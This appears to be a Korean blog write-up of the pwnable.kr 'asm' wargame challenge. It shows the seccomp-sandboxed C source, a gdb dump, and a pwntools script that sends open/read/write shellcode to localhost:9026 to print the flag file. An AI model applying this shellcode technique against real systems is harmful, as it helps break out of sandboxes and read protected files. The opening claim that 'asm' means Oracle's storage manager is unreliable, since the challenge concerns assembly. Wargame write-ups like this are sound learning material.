본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] asm

by L3m0n S0ju 2021. 8. 1.


이번 문제는 asm을 이용하여 익스플로잇을 해야 합니다. asm(Automic Storage Management)이란 오라클에서 만든 자동으로 스토리지를 관리하는 소프트웨어이다. 필자가 아직까지 느낀 asm의 장점은 속도가 빠르다는 것이다. 문제 서버에 접속하면 아래와 같이 4개의 파일이 존재한다.

 

 


asm 파일을 실행하면 쉘코드를 입력하라고 한다. 

 

 

 


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

 


문제 코드는 위와 같이 쉘 코드를 입력하는데 샌드박스 안에서는 open, read, write, exit, exit_group 5가지 함수만 사용할 수 있다고 한다. 샌드박스는 의미 그대로 모래박스이고 컴퓨터에서의 의미는 프로그램이 샌드박스 밖으로 나갈 수 없다는 뜻이다. 문제에서도 마찬가지로 seccomp라는 샌드박스 기능을 제공하는 함수를 이용하여 사용할 수 있는 함수를 제한하고 있다. 따라서 위 5가지 함수를 이용해 쉘코드를 만들어야 한다. 쉘코드를 만들때 보통 asm을 이용하여 쉘코드를 제작한다. 쉘코드는 파이썬 pwntools을 이용해 제작할텐데 pwntools에서 제공하는 shellcraft 모듈을 이용해 쉽게 제작할 수 있습니다. 코드를 살펴보면 마지막에 sh를 실행하는데 쉘코드를 입력하면 여기서 쉘코드가 실행되는 것 같습니다. 쉘코드는 전역변수에 stub와 합쳐져서 sh에 저장되는것을 볼 수 있는데 stub는 gdb로 살펴보면 모든 레지스터를 초기화하는 쉘코드입니다. 따라서 쉘코드를 만드는 것에만 집중할 수 있겠습니다.

 

(gdb) disas 0x2020c0
Dump of assembler code for function stub:
   0x00000000002020c0 <+0>:     xor    rax,rax
   0x00000000002020c3 <+3>:     xor    rbx,rbx
   0x00000000002020c6 <+6>:     xor    rcx,rcx
   0x00000000002020c9 <+9>:     xor    rdx,rdx
   0x00000000002020cc <+12>:    xor    rsi,rsi
   0x00000000002020cf <+15>:    xor    rdi,rdi
   0x00000000002020d2 <+18>:    xor    rbp,rbp
   0x00000000002020d5 <+21>:    xor    r8,r8
   0x00000000002020d8 <+24>:    xor    r9,r9
   0x00000000002020db <+27>:    xor    r10,r10
   0x00000000002020de <+30>:    xor    r11,r11
   0x00000000002020e1 <+33>:    xor    r12,r12
   0x00000000002020e4 <+36>:    xor    r13,r13
   0x00000000002020e7 <+39>:    xor    r14,r14
   0x00000000002020ea <+42>:    xor    r15,r15
   0x00000000002020ed <+45>:    .byte 0x0

 

 

 

익스플로잇 코드는 아래와 같습니다.


 

from pwn import *

 

context(arch='amd64', os='linux') # asm을 사용할 때 앞에 붙여주지 않으면 오류가 발생한다.

context.log_level = 'debug' # 디버깅 옵션

 

r = remote('localhost', 9026) # readme를 읽으면 로컬 9026 포트에 접속해야 플래그가 있다고 한다.

 

shellcode = ''

shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') # 해당 문자열을 스택에 push한다. 즉 문자열의 주소가 스택에 저장되고 rsp는 마지막에 push된 문자열의 주소를 가르키게 된다.

 

shellcode += shellcraft.open('rsp') # rsp에는 파일이름이 저장되어 있고 해당 파일을 오픈한다. 반환값은 함수의 리턴 값이 저장되는 RAX에 저장된다.

shellcode += shellcraft.read('rax', 'rsp', 100) # RAX는 파일 디스크립터로 파일 내용을 rsp에 다시 저장한다.

shellcode += shellcraft.write(1, 'rsp', 100) # rsp에 저장된 내용을 출력한다.

r.recvuntil('shellcode: ') # 'shellcode: ' 라는 문자열까지 읽어들인다.

r.send(asm(shellcode)) # 작성한 쉘코드를 asm을 이용해 어셈블리어로 변경한 후 전송한다.

r.recv() # 서버에서 전송된 데이터 수신

 


익스플로잇 코드를 tmp/test01/ 에 저장하고 실행하면 아래와 같이 플래그를 획득할 수 있습니다.

 

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] tiny_easy  (0) 2021.08.04
[Pwnable.kr] horcruxes  (1) 2021.08.03
[Pwnable.kr] memcpy  (0) 2021.07.31
[Pwnable.kr] uaf  (0) 2021.07.30
[Pwnable.kr] blukat  (0) 2021.07.29

댓글